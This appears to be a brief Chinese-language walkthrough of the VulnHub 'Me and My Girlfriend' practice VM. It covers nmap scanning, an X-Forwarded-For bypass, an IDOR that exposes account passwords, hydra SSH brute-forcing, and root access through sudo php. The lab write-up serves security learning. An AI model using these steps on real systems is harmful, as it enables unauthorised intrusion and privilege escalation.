vulnhub Me and My Girlfriend靶场

1.信息收集

扫描存活主机

sudo arp-scan -l

扫描主机的开放端口

nmap -p- 192.168.42.156

扫描端口具体开放服务

nmap -p 22,80 -A -sV 192.168.42.156

扫描网站指纹

whatweb 192.168.42.156

2.漏洞挖掘

访问网站

F12,查看html

burp抓包

添加X-Forwarded-For:127.0.0.1

访问成功(因为他要本地访问所以每一个包都要加X-Forwarded-For:127.0.0.1)

开始逛街

发现登录框(弱密码不行)

register注册一个,发现id=12,改id找找其他的账号密码

3.漏洞利用

id=1,找到一个账号,继续

找到的账号密码写在两个文件中

有了账号密码,有22端口,ssh开始爆破

hydra -L 1.txt -P 2.txt ssh://192.168.42.156:22

找到账号

alice

4lic3

登录 ssh alice@192.168.42.156 -p 22

ls -a 查看文件,找到flag1

4.提升权限

常规查看

sudo -l

发现该账户有root(php)命令

在网站上查找php提权

https://gtfobins.github.io/

复制命令,执行命令

CMD="/bin/sh"

sudo php -r "system('$CDM')"

发现root成功

得到flag2.txt

cat flag2.txt

热门相关:凤逆天下:腹黑魔君妖娆后   一个人的一往情深   我有一个进化点   我有一张均富卡   诛天至极